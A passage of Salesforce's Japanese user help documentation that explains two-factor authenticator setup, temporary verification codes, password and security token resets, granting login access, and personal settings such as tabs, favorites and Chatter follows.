ドへのアクセス時のセキュリティを強化するために 2 要素認証が必要な場合は、
アプリケーションからコードを使用します。アプリケーションを接続する前に
2 要素認証が必要になった場合は、次に Salesforce にログインしたときにアプリ
ケーションを接続するよう求められます。
1. デバイスのタイプに応じて、サポートされる認証アプリケーションをダウンロードします。Salesforce

Authenticator for iOS、Salesforce Authenticator for Android、Google Authenticator など、時間ベースのワンタイムパス
ワード (TOTP) アルゴリズム (IETF RFC 6238) をサポートしている認証アプリケーションであれば、どれでも使
用できます。

2. [個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力し、[高度なユーザの詳細] を選
択します。結果がありませんか? [クイック検索] ボックスに「個人情報」と入力し、[個人情報]を選択しま
す。

3. [アプリケーション登録: ワンタイムパスワードジェネレータ] を見つけ、[接続] をクリックします。
Salesforce Authenticator 以外の認証アプリケーションを接続する場合は、この設定を使用します。Salesforce

Authenticator を接続する場合は、(バージョン 2 以降で使用可能な転送通知ではなく) ワンタイムパスワード
ジェネレータ機能を使用している場合にのみ、この設定を使用します。

メモ: 転送通知を使用するためにSalesforce Authenticator を接続する場合は、代わりに [アプリケーション
登録: Salesforce Authenticator] 設定を使用します。この設定では、転送通知とワンタイムパ
スワード生成の両方が有効になります。

ワンタイムパスワード生成では、最大 2 つの認証アプリケーション (Salesforce Authenticator と他の認証アプリ
ケーション) を Salesforce アカウントに接続できます。

4. セキュリティ上の理由で、アカウントにログインするように要求されます。
5. モバイルデバイスで、認証アプリケーションを使用して QR コードをスキャンします。

または、ブラウザで [QR コードをスキャンできません]をクリックします。ブラウザにセキュリティキーが
表示されます。認証アプリケーションで、ユーザ名と表示されたキーを入力します。
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6. Salesforce で、認証アプリケーションによって生成されたコードを、[確認コード] 項目に入力します。
確認コードは、認証アプリケーションによって定期的に新しく生成されます。現在のコードを入力します。

7. [接続] をクリックします。
アカウントの安全を確保するため、新しい ID 検証方法が Salesforce アカウントに追加されるたびに、メール通
知が送信されます。自分がその方法を追加したか、Salesforceのシステム管理者が自分の代わりに追加したかに
関係なく、メールは送信されます。

仮のコードによる ID の検証
エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

通常 2 要素認証に使用しているデバイスにアクセスできない場合は、仮の ID 確
認コードの提供を Salesforce システム管理者に依頼します。このコードは 1 ～ 24

時間有効です。システム管理者が有効期限を設定しますが、必要なくなった場
合にはユーザが期限前にコードを期限切れにすることができます。
Salesforce システム管理者が、2 要素認証を支援する権限を他のユーザに付与した
場合は、そのユーザが仮のコードを提供できます。たとえば、会社のヘルプデ
スクやサポートスタッフがこの権限を持っている場合があります。
仮のコードは 2 要素認証専用です。認識されないブラウザやアプリケーション
からログインするときの ID 検証には無効です。
1. Salesforce システム管理者 (またはシステム管理者によって指定されたユーザ)

に仮の ID 確認コードを依頼します。
システム管理者がコードの有効期間を設定します。コードは有効期限まで繰
り返し使用できます。システム管理者がユーザに仮のコードを生成するたび
に、そのユーザにメール通知が送信されます。

2. ID 確認画面で要求されたら、仮のコードを入力します。
3. コードが必要なくなったがまだ有効な場合には、コードを期限切れにします。

a. [個人設定] から、[クイック検索]ボックスに「高度なユーザの詳細」と入力し、[高度なユーザの詳細]を
選択します。結果がない場合は、[クイック検索] ボックスに「個人情報」と入力し、[個人情報] を選択
します。

b. [仮の確認コード] を見つけ、[今すぐ期限切れにする] をクリックします。

ログイン問題のトラブルシューティング
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Database.comを除くすべ
てのエディション

ログインできませんか? ユーザ名やパスワードを忘れた場合や、何回もログイン
に失敗してロックアウトされた場合など、ログインの問題を解決するには、次
の解決策を実行します。
Salesforce システム管理者は、組織のパスワードポリシーを設定します。このパ
スワードポリシーによって、許容されるログイン試行回数、ロックアウト継続
時間、パスワード要件が決まります。
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データのプライバシーを保護するには、パスワードを定期的に変更します。Salesforce システム管理者がユーザ
パスワードを定期的に期限切れにする場合は、有効期間が切れたときにパスワードの変更を要求されます。

メモ: 「ユーザシングルサインオン」権限を持っている場合、パスワードをリセットできるのは管理者の
みです。サポートが必要な場合は、Salesforce システム管理者にお問い合わせください。

• パスワードをお忘れですか? パスワードを取得します。
• ロックアウトされた場合は? ロックアウト時間が経過するまで待って再試行するか、Salesforce システム管理

者に問い合わせてください。
• パスワードの有効期限が切れた場合は? パスワードを変更するように要求されます。
• 新しいブラウザまたはアプリケーションを使用して、信頼された IP 範囲外から Salesforce にアクセスしてい

ますか? ID の検証を要求されます。
• ログインページの [カスタムドメインを使用] とは? Salesforce システム管理者が組織のカスタムドメインを作

成した場合は、[カスタムドメインを使用] をクリックし、ドメイン名を入力してログインします。
カスタムドメインの形式は https://universalcontainers.my.salesforce.com です。この中の
universalcontainers は、システム管理者が提供した名前です。

忘れたパスワードのリセット
パスワードを忘れた場合、ログインページの [パスワードをお忘れですか?] リンクを使用して簡単にパス
ワードをリセットできます。必要なのはユーザ名のみです。
セキュリティトークンのリセット
デスクトップクライアントや API を使用して、会社の信頼できる IP 範囲外の IP アドレスから Salesforce にア
クセスするときは、セキュリティトークンを使用してログインする必要があります。セキュリティトーク
ンは、大文字と小文字を区別する英数字コードで、パスワードに追加するか、クライアントアプリケーショ
ンの個別の項目に入力します。
Salesforce Outlook Edition でのトークンの更新
セキュリティトークンを Salesforce でリセットしたら、Salesforce Outlook でトークンを更新できます。
Connect Offline、Connect for Office、データローダでのトークンの更新
新しい Salesforce セキュリティトークンを受け取ったら、Connect Offline、Connect for Office、データローダで
トークンを更新できます。
ログインアクセスの許可
問題の解決に支援が必要な場合は、Salesforce システム管理者またはサポート担当者にユーザのアカウント
へのログインアクセスを許可できます。
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忘れたパスワードのリセット

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

パスワードを忘れた場合、ログインページの [パスワードをお忘れですか?] リン
クを使用して簡単にパスワードをリセットできます。必要なのはユーザ名のみ
です。
認識されないブラウザまたはアプリケーションから Salesforce にログインし、IP

アドレスが信頼できる IP 範囲外の場合、ID を検証するように求められます。
1. ログインページで、[パスワードをお忘れですか?] リンクをクリックします。
2. ユーザ名を入力し、[続行] をクリックします。パスワードをリセットする手

順が記載されたメールが、Salesforce の個人設定で指定したアドレスに送信さ
れます。

3. 24 時間以内にメールに記載されたリンクをクリックし、セキュリティの質問に回答して、[続行] をクリッ
クします。メールに記載されているリンクは一度しか使用できず、24 時間後に有効期限が切れます。

4. 要求されたら、新しいパスワードを入力します。

セキュリティトークンのリセット

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

Connect for Office は
Database.com Edition では
使用できません。

Connect Offline を使用可能
なエディション: Salesforce
Classic

Connect Offline を使用可能
なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

デスクトップクライアントや API を使用して、会社の信頼できる IP 範囲外の IP ア
ドレスから Salesforce にアクセスするときは、セキュリティトークンを使用して
ログインする必要があります。セキュリティトークンは、大文字と小文字を区
別する英数字コードで、パスワードに追加するか、クライアントアプリケーショ
ンの個別の項目に入力します。
セキュリティトークンは、設定やプロファイルには表示されません。
システム管理者から「API ログインの 2 要素認証」権限が割り当てられている場
合は、セキュリティトークン値に Salesforce Authenticator などの認証アプリケー
ションによって生成されたコードを使用します。
1. 個人設定から、[クイック検索] ボックスに「リセット」と入力し、[私のセ

キュリティトークンのリセット] を選択します。
2. [セキュリティトークンのリセット] をクリックします。Salesforce 個人設定の

メールアドレスに新しいセキュリティトークンがメールで送信されます。
パスワードをリセットすると、新しいセキュリティトークンがメールで送信さ
れます。また、トークンを個別にリセットすることもできます。

ヒント: 新しい IP アドレスから Salesforce にアクセスする前に、[私のセキュ
リティトークンのリセット]を使用して信頼できるネットワークからセキュ
リティトークンを取得しておくことをお勧めします。
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Salesforce Outlook Edition でのトークンの更新

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

Connect for Office は
Database.com Edition では
使用できません。

Connect Offline を使用可能
なエディション: Salesforce
Classic

Connect Offline を使用可能
なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

セキュリティトークンを Salesforce でリセットしたら、Salesforce Outlook でトーク
ンを更新できます。
セキュリティトークンは、設定やプロファイルには表示されません。パスワー
ドをリセットすると、新しいセキュリティトークンがメールで送信されます。
また、トークンを個別にリセットすることもできます。
システム管理者から「API ログインの 2 要素認証」権限が割り当てられている場
合は、セキュリティトークン値に Salesforce Authenticator などの認証アプリケー
ションによって生成されたコードを使用します。
1. Outlook で、[ツール] > [Salesforce オプション] に移動します。
2. パスワードウィンドウに、パスワードとセキュリティトークンを入力します

(パスワードの末尾にセキュリティトークンを追加)。たとえば、
「mypasswordXXXXXXXXXX」のように入力します。

3. パスワードとトークンを正確に入力したことを確認するには、[検証]をクリッ
クします。

4. [OK] をクリックします。
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Connect Offline、Connect for Office、データローダでのトークンの更新

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

Connect for Office は
Database.com Edition では
使用できません。

Connect Offline を使用可能
なエディション: Salesforce
Classic

Connect Offline を使用可能
なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

新しい Salesforce セキュリティトークンを受け取ったら、Connect Offline、Connect

for Office、データローダでトークンを更新できます。
セキュリティトークンは、設定やプロファイルには表示されません。
システム管理者から「API ログインの 2 要素認証」権限が割り当てられている場
合は、セキュリティトークン値に Salesforce Authenticator などの認証アプリケー
ションによって生成されたコードを使用します。
パスワードをリセットすると、新しいセキュリティトークンがメールで送信さ
れます。また、トークンを個別にリセットすることもできます。
• ログインするときに、パスワードの末尾にセキュリティトークン値を追加し

ます (「mypasswordXXXXXXXXXX」など)。

メモ: ログイン時に「無効なパスワード」エラーが表示された場合は、
パスワードのみを使用してログインを試行します。このエラーは、シス
テム管理者が設定した信頼できる IP 範囲内の IP アドレスからセキュリ
ティトークンを使用してログインした場合に表示されます。
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ログインアクセスの許可

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

管理者アクセス権の付与
を使用可能なエディショ
ン: Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

設定変更履歴を参照する
• 「設定・定義を参照す

る」

問題の解決に支援が必要な場合は、Salesforce システム管理者またはサポート担
当者にユーザのアカウントへのログインアクセスを許可できます。
デフォルトでは、会社のシステム管理者は、ユーザからのアクションなしでそ
のユーザのアカウントにアクセスできます。組織でユーザがシステム管理者に
ログインアクセスを許可する必要がある場合は、指定された期間だけアクセス
を許可できます。
セキュリティの理由により、アクセスを許可する最大期間は 1 年間です。アク
セスを許可したら、システム管理者またはサポート担当者はユーザのログイン
を使用し、ユーザのデータにアクセスして問題の解決を支援します。
1. 個人設定から、[クイック検索] ボックスに「ログインアクセス」と入力し、

アクセスを許可するオプションを選択します。
2. 選択リストから値を選択して、アクセス権の有効期限を設定します。
3. [保存] をクリックします。
システム管理者、サポート担当者、または公開者がユーザのログインを使用し
て設定を変更した場合は、設定変更履歴により変更内容とユーザ名がリストさ
れます。一部の組織では、ユーザのログインを使用したシステム管理者による
クリックの記録も、監査目的のために保持されます。

メモ: システム管理者に特定のサポート組織へのアクセス制限がある場合、
その組織へのアクセスは許可できません。パッケージアプリケーションラ
イセンスによってアクセスできないこともあります。

Salesforce 環境のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション。

メールアドレスなどの個人情報を更新します。パスワードおよびセキュリティ
の質問を変更します。システム管理者権限がある場合は、Salesforce 組織をカス
タマイズすることもできます。

私の設定: 個人設定の更新
個人設定により、Salesforce の操作性をカスタマイズできます。パスワードと
セキュリティの質問、メール設定などの個人設定の表示または更新を行い、
タブやページを整理します。
プロファイルページの更新
名前またはプロファイル写真をクリックすると、プロファイルページで連絡先情報をいつでも更新できま
す。連絡先情報は社内のすべてのユーザに表示されます。
移動のカスタマイズ
Salesforce での移動をカスタマイズし、さらに効率的に作業できるようにします。
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Chatter およびコミュニティ設定の更新
Chatter とコミュニティの準備を整えましょう。ユーザやレコードをフォローし、関心のあるいくつかのグ
ループに参加してください。
スケジュールの整理
ミーティング、ToDo、および売上目標に関する最新情報を把握します。
データの整理
Salesforce は取引先情報などのデータの多くを個々のレコードに保存し、オブジェクト内にデータをまとめ
ます。レコードを参照および更新し、データに関するレポートを実行できます。

私の設定: 個人設定の更新
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

個人設定により、Salesforce の操作性をカスタマイズできます。パスワードとセ
キュリティの質問、メール設定などの個人設定の表示または更新を行い、タブ
やページを整理します。
この短い動画では、Salesforce での個人設定の変更について説明します。ページ
上部に表示されるタブの変更、個々のページに表示されるレイアウトと要素の
変更、Chatter メール設定の調整を行うことができます。
任意の作業を実行するには、左ペインからメニューをクリックし、目的のメ
ニュー項目を選択します。個人設定ページには、使用頻度の高い個人設定ツー
ルおよび作業に簡単にアクセスできるクイックリンクも含まれています。

Salesforce Classic での個人設定へのアクセス
Salesforce Classic を使用している場合、個人設定は [個人設定] または [私の設定] にあります。
Lightning Experience での個人設定へのアクセス
Lightning Experience を使用している場合、個人設定は [個人設定] または [私の設定] にあります。
個人情報の更新
名前、電話番号、メール、住所、作業情報を [私の設定] の [個人情報] ページで更新します。
メール設定の編集
送信メール設定を編集して、表示される名前や署名 (省略可能) を指定します。また、返信先アドレスを指
定することや、返信先アドレスに指定した自分のアドレスに BCC メールが自動送信されるように選択する
こともできます。
言語およびロケール設定の編集
タブの追加、削除、整理
Salesforce Classic では、オブジェクトの情報を参照、追加、および編集する開始点としてタブを使用します。
アプリケーションが異なると、タブが異なる場合があります。アプリケーションで頻繁に使用する項目の
タブを追加できます。
ページのカスタマイズ
詳細ページに表示される関連リストを指定します。
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レコードタイプの設定
レコードの作成時に、デフォルトのレコードタイプが自動的に挿入されるようにオプションを設定します。
この設定を使用すると、特定のレコードタイプを選択するように求められなくなります。

Salesforce Classic での個人設定へのアクセス

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce Classic を使用している場合、個人設定は [個人設定] または [私の設定] に
あります。
1. 任意の Salesforce ページ上部で、名前の横にある下向き矢印をクリックしま

す。
組織のユーザインターフェース設定に応じて、メニューには[設定]または[私
の設定] のどちらかが表示されます。

2. 名前の下のメニューから、[設定] または [私の設定] をクリックします。
3. 次のいずれかの操作を実行します。

• [設定] をクリックした場合、ページの左側を見て、メニュー項目をクリックしてサブメニューを表示
し、必要な項目をクリックします。

• [私の設定] をクリックした場合、ページの左側を見て、[私の設定] の下にあるメニュー項目をクリック
してサブメニューを表示し、必要な項目をクリックします。

ヒント: ページをすばやく見つけるには、[クイック検索]ボックスにその名前の最初のいくつかの文字
を入力します。入力すると、検索語に一致するページがメニューに表示されます。たとえば、[個人情
報] ページを見つけるには、[クイック検索] ボックスに「個人」と入力します。

Lightning Experience での個人設定へのアクセス

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Lightning Experienceを使用している場合、個人設定は [個人設定] または [私の設定]

にあります。
1. 任意の Salesforce ページの上部で、画像をクリックします。
2. [設定] をクリックします。
3. ページの左側で、メニュー項目をクリックしてサブメニューを表示し、必要

な項目をクリックします。

ヒント: ページをすばやく見つけるには、[クイック検索] ボックスにそ
の名前の最初のいくつかの文字を入力します。入力すると、検索語に一
致するページがメニューに表示されます。たとえば、[個人情報] ページ
を見つけるには、[クイック検索] ボックスに「個人」と入力します。

メモ: 個人設定にアクセスしようとしたときに不十分な権限に関するエラーメッセージが表示された
場合は、[新改良型設定ユーザインターフェース] オプションを有効にするように Salesforce システム管
理者に依頼してください。システム管理者である場合は、[設定] から、[クイック検索] ボックスに
「ユーザインターフェース」と入力し、[ユーザインターフェース]を選択します。[新改良型設定ユーザ
インターフェース] を選択して、[保存] をクリックします。
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個人情報の更新

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能な個人設定のオ
プションは、使用してい
る Salesforceのエディショ
ンによって異なります。

名前、電話番号、メール、住所、作業情報を [私の設定] の [個人情報] ページで
更新します。
1. 個人設定から、[クイック検索] ボックスに「個人」と入力し、[個人情報] を

選択します。
2. [クイック検索]ボックスに「個人情報」と入力し、[個人情報]を選択します。
3. 変更するには、[編集] をクリックします。

メールアドレスを変更した場合は、新しいアドレスに確認メッセージが送信
されます。そのメッセージに記載されているリンクをクリックして、新しい
メールアドレスを有効にします。これはシステムのセキュリティを確保する
ための処理です。

4. 変更内容を保存します。

メール設定の編集

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

送信メール設定を編集して、表示される名前や署名 (省略可能) を指定します。
また、返信先アドレスを指定することや、返信先アドレスに指定した自分のア
ドレスに BCC メールが自動送信されるように選択することもできます。
1. 個人設定から、[クイック検索]ボックスに「私のメール設定」と入力し、[私

のメール設定] を選択します。
2. 必要な変更を加えます。

メモ:  Personal Edition と Developer Edition では、送信するすべてのメールの
個人署名の下に Salesforce 固有のタグ行が追加されます。

言語およびロケール設定の編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

1. [個人設定] から、[クイック検索] ボックスに「タイムゾーン」と入力し、[言
語とタイムゾーン] を選択します。結果がない場合は、[クイック検索] ボッ
クスに「個人情報」と入力し、[個人情報] を選択します。

2. 必要に応じて、次の設定を指定します。
• [タイムゾーン] で、標準のタイムゾーンを選択します。
• [地域] で、国または地域を選択します。
• [言語] で、主言語を選択します。テキストとオンラインヘルプは、すべ

て選択した言語で表示されます。
• [メールの文字コード]で、Salesforceから送信するメールの文字セットおよび文字コードオプションを選

択します。

3. [保存] をクリックします。
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タブの追加、削除、整理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce Classic では、オブジェクトの情報を参照、追加、および編集する開始点
としてタブを使用します。アプリケーションが異なると、タブが異なる場合が
あります。アプリケーションで頻繁に使用する項目のタブを追加できます。
1. 現在のタブの右側にある [プラス] アイコン ( ) をクリックします。

[すべてのタブ] ページが表示されます。デフォルトでは、表示または追加が
可能なすべてのタブが表示されます。

2. 特定アプリケーションのタブのリストのみを表示する場合、[ビュー] ドロッ
プダウンリストからそのアプリケーションを選択します。

3. [タブのカスタマイズ] をクリックします。
4. [カスタムアプリケーション] ドロップダウンリトで、タブを表示するアプリケーションを選択します。

たとえば、[アイデア] タブをマーケティングアプリケーションに表示する場合、[マーケティング] を選択
すると、[アイデア] タブはそのアプリケーションにのみ表示されます。

5. タブを追加または削除したり、その順序を変更したりするには、[追加]、[削除]、[上へ]、[下へ] の各矢印を
使用します。

6. [保存] をクリックします。
7. 頻繁に使用しないアプリケーションにタブを追加した場合は、そのアプリケーションを開いて新しいタブ

を確認します。

ページのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

詳細ページに表示される関連リストを指定します。
1. 個人設定から、[クイック検索] ボックスに「ページのカスタマイズ」と入力

し、[ページのカスタマイズ]を選択します。結果がない場合は、[クイック検
索]ボックスに「表示」と入力し、[マイディスプレイを変更]を選択します。
[ホーム] タブでは、その [ホーム] タブに表示されるダッシュボードスナップ
ショットを選択します。[ホームタブのカスタマイズをする] へのリンクは、
管理者がダッシュボードを含むようにホームページをカスタマイズした場合
にのみ使用できます。
他のすべてのタブに対して、詳細ページに表示する関連リストを指定します。
• 関連リストの追加と削除を行うには、関連リストを選択してから [追加]または [削除]矢印をクリックし

ます。

メモ: システム管理者が特定のタブのページレイアウトを変更した場合は、この設定が変更される
場合があります。

• 関連リストの順序を変更するには、[選択されたリスト] ボックスで関連リストのタイトルを選択し、[上
へ] または [下へ] 矢印をクリックします。

2. 変更内容を保存します。
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レコードタイプの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードの作成時に、デフォルトのレコードタイプが自動的に挿入されるよう
にオプションを設定します。この設定を使用すると、特定のレコードタイプを
選択するように求められなくなります。
1. 個人設定から、[クイック検索]ボックスに「レコードタイプ」と入力し、[デ

フォルトのレコードタイプの設定] または [レコードタイプの選択] (表示され
た方) を選択します。
[レコードタイプの選択] オプションが使用できない場合は、組織でレコード
タイプを使用していないか、使用可能なレコードタイプが 1 つしかありませ
ん。

2. データ型を選択し、そのタイプのレコードを作成するときは常にデフォルト
のレコードタイプを使用することを指定します。それ以外の場合はチェック
ボックスをオフのままにします。
組織で個人取引先を使用していて、[取引先]チェックボックスをオンにすると、すべての取引先種別にデ
フォルトのレコードタイプが自動的に選択されます。法人取引先と個人取引先に別々のデフォルトレコー
ドタイプを設定することはできません。両方の取引先種別を使用する場合には、このチェックボックスを
オフのままにします。

3. [保存] をクリックします。

プロファイルページの更新
名前またはプロファイル写真をクリックすると、プロファイルページで連絡先情報をいつでも更新できます。
連絡先情報は社内のすべてのユーザに表示されます。

使用可能なエディション: Salesforce Classic および Lightning Experience

使用可能なエディション: Group Edition、Professional Edition、Enterprise Edition、Performance Edition、Unlimited

Edition、Contact Manager Edition、および Developer Edition

[マネージャ] 項目を除き、プロファイルのすべての項目を更新できます。[マネージャ] 項目は Salesforce システ
ム管理者のみが更新できます。

移動のカスタマイズ
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce での移動をカスタマイズし、さらに効率的に作業できるようにします。

お気に入りを使用した上位 Salesforce ページへのショートカットの作成
お気に入りでは、Salesforce の重要なレコード、リスト、グループ、その他の
頻繁に使用するページにすばやくアクセスできます。
お気に入りに関する考慮事項
お気に入りを使用するときの考慮事項は、次のとおりです。
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タブのカスタマイズ
ログイン時に表示されるタブを指定したり、複数のアプリケーションを使用している場合には、各アプリ
ケーションに表示されるタブを指定したりします。

お気に入りを使用した上位 Salesforce ページへのショートカットの作成

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

お気に入りでは、Salesforce の重要なレコード、リスト、グループ、その他の頻
繁に使用するページにすばやくアクセスできます。
1. Lightning Experience のヘッダーの星をクリックして、現在のページ (たとえば

[すべての進行中のリード] など) をお気に入りリストに追加します。
星が強調表示されている場合は、現在お気に入りが表示されていることを意
味します。強調表示された星印をクリックすると、お気に入りを削除できま
す。

2. 星印の横にあるドロップダウンをクリックし、お気に入りを検索したり、開
いたり、管理したりします。
各お気に入りには、名前、レコードタイプ、およびアプリケーション名 (そ
のお気に入りが現在のアプリケーション内にない場合) が表示されます。別
のアプリケーション内のお気に入りを開くと、そのアプリケーションに切り
替わります。

関連トピック:

お気に入りに関する考慮事項

お気に入りに関する考慮事項

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

お気に入りを使用するときの考慮事項は、次のとおりです。
• 最大 200 個までお気に入りを追加できます。次のコンテンツタイプがサポー

トされています。
– 標準オブジェクトとカスタムオブジェクトのレコードホーム (これらのレ

コードビューの Visualforce の上書きを含む)

– リスト
– ダッシュボード
– レポート
– Chatter グループ

メモ:  [レポート]、[ダッシュボード]、[ファイル]、[ToDo]、[メモ] タブの
リストビューはお気に入りに追加できません。リストビューの Visualforce

の上書きと個々の Chatter 投稿もお気に入りに追加できません。
• コンソールアプリケーションと設定ページではお気に入りがサポートされていませんが、それらの領域か

らもお気に入りにアクセスはできます。
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• 個々のユーザのみがお気に入りを管理できます。Salesforce システム管理者が共有や編集を行うことはでき
ません。

関連トピック:

お気に入りを使用した上位 Salesforce ページへのショートカットの作成

タブのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ログイン時に表示されるタブを指定したり、複数のアプリケーションを使用し
ている場合には、各アプリケーションに表示されるタブを指定したりします。
1. 個人設定から、[クイック検索] ボックスに「ページのカスタマイズ」と入力

し、[タブのカスタマイズ] を選択します。結果がない場合は、[クイック検
索]ボックスに「表示」と入力し、[マイディスプレイを変更]を選択します。

2. 複数のアプリケーションにアクセスできる場合、タブをカスタマイズするア
プリケーションを [カスタムアプリケーション]ドロップダウンリストから選
択します。
デフォルトでは、自分のプロファイルに対して設定されている選択済みのカスタムアプリケーションのタ
ブが表示されます。

メモ: システム管理者がアプリケーションのデフォルトの表示タブを変更すると、アプリケーション
を選択したときに最初に表示されるタブが変わる可能性があります。

3. 必要に応じて、表示するタブを 1 つずつ追加し、選択したタブの表示順序を変更します。
4. 変更内容を保存します。

Chatter およびコミュニティ設定の更新
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Chatter とコミュニティの準備を整えましょう。ユーザやレコードをフォローし、
関心のあるいくつかのグループに参加してください。

プロファイルまたはグループ写真の変更
あなたがどのような人物か他の人にわかるように、プロファイルに自分の写
真をアップロードしたり、所有または管理するグループに写真をアップロー
ドしたりできます。
ユーザのフォロー
ユーザをフォローすると、フィードに投稿、コメント、いいね! などの更新が表示されます。
レコードのフォロー
レコードをフォローすると、レコードに対する項目変更、投稿、ToDo、コメントなどの更新がフィードに
表示されます。
グループへの参加または脱退
プロジェクトや関心のある共通領域について他のユーザとコラボレーションするには、グループに参加し
ます。プロジェクト関連のファイルや情報をグループと共有できます。
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Chatter のメール通知の更新
Chatter の活動について、どのような場合にメールで通知を受け取るかを設定します。たとえば、誰かが新
しくあなたをフォローしたときや、あなたの投稿に誰かがいいね! をクリックしたときには通知を受け取ら
ず、誰かが Chatter であなたについてメンションしたときは通知を受け取るように選択できます。

プロファイルまたはグループ写真の変更
あなたがどのような人物か他の人にわかるように、プロファイルに自分の写真をアップロードしたり、所有ま
たは管理するグループに写真をアップロードしたりできます。

使用可能なエディション: Salesforce Classic および Lightning Experience

使用可能なエディション: Group Edition、Professional Edition、Enterprise Edition、Performance Edition、Unlimited

Edition、Contact Manager Edition、および Developer Edition

1. プロファイルまたはグループのページに移動します。
2. 写真にマウスポインタを置き、[写真の追加] または [更新] をクリックします。
3. アップロードする写真を参照し、ファイルを開きます。8 MB 以下の .jpg、.gif、または .png 形式の写真をアッ

プロードできます。
4. 写真全体の点線をドラッグしてサムネイル画像を作成します。

写真が自分のプロファイル用で、コミュニティのメンバーである場合は、[Show in communities with

publicly accessible pages (公開されているページでコミュニティを表示)] を選択できます。このオ
プションにより、ログインなしでアクセスできる公開サイトやページを参照するゲストユーザに写真が表
示されます。

5. 変更内容を保存します。

ユーザのフォロー
ユーザをフォローすると、フィードに投稿、コメント、いいね! などの更新が表示されます。

使用可能なエディション: Salesforce Classic および Lightning Experience

使用可能なエディション: Group Edition、Professional Edition、Enterprise Edition、Performance Edition、Unlimited

Edition、Contact Manager Edition、および Developer Edition

ユーザをフォローするには、そのユーザのプロファイルページで [フォロー] をクリックします。
ユーザをフォローすると、自分のフィードにそのユーザの投稿、コメント、およびいいね! が表示されます。
合計で最大500の人、トピック、およびレコードをフォローできます。自分が何件の項目をフォローしている
かを確認するには、プロファイルの [フォローしている人] リストを表示します。
ユーザのフォローを停止するには、 をクリックします。ユーザのフォローを停止すると、それ以降、自分
のフィードにそのユーザからの更新は表示されません。
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レコードのフォロー

ユーザ権限

レコードを参照する
• レコードに対する「参

照」

レコードをフォローすると、レコードに対する項目変更、投稿、ToDo、コメン
トなどの更新がフィードに表示されます。

使用可能なエディション: Salesforce Classic および Lightning Experience

使用可能なエディション: Group Edition、Professional Edition、Enterprise Edition、
Performance Edition、Unlimited Edition、Contact Manager Edition、および Developer
Edition

フィードに表示される項目の変更は、システム管理者がフィード追跡に設定した項目によって決まります。暗
号化されたカスタム項目への更新はフィードに表示されません。
レコードをフォローするには、レコードページで [フォロー] をクリックします。
レコードをフォローすると、自分のフィードにレコードの更新が表示されます。合計で最大500の人、トピッ
ク、およびレコードをフォローできます。自分が何件の項目をフォローしているかを確認するには、プロファ
イルの [フォローしている人] リストを表示します。
作成したレコードを自動的にフォローする場合は、個人設定からこの機能を有効にします。[クイック検索]

ボックスに「私のフィード」と入力し、[私のフィード]を選択して[作成したレコードを自動的にフォローする]

を選択します。ただし、行動、ToDo、ダッシュボードは、作成後自動的にフォローされることはありません。
レコードのフォローを停止するには、レコードページで をクリックします。レコードのフォローを停止す
ると、それ以降フィードにはレコードの更新は表示されません。

グループへの参加または脱退

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

プロジェクトや関心のある共通領域について他のユーザとコラボレーションす
るには、グループに参加します。プロジェクト関連のファイルや情報をグルー
プと共有できます。
1. グループの詳細ページに移動します。
2. 公開グループに参加するには、[参加] または [グループに参加] をクリックし

ます。非公開グループに参加するには、[参加を要請] をクリックします。こ
の要求を承諾または拒否する非公開グループの所有者またはマネージャに要
求が送信されます。

最大300グループに参加できます。アーカイブ済みグループを除く、すべてのグ
ループがこの制限にカウントされます。たとえば、300 グループ (そのうち 10 グ
ループはアーカイブ済み) のメンバーになっている場合、さらに 10 グループに参
加できます。
